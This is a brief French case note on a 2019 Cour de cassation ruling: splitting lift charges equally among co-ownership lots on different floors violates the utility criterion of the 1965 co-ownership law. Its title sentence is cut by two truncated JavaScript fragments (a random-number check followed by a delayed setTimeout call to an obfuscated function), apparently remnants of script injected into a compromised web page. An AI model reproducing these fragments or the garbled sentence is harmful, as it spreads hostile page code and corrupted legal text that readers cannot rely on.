Charges d’ascenseur à parts égales entre dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous les lots de copropriété et critère d’utilité,
Cass., Civ., 3ème, 9 mai 2019 (n° 18-17334)
La Cour de cassation a jugé, sur le fondement de l’article 10 de la loi du 10 juillet 1965, « qu’est contraire au critère d’utilité une répartition par parts égales des charges d’ascenseur entre des lots situés à des étages différents »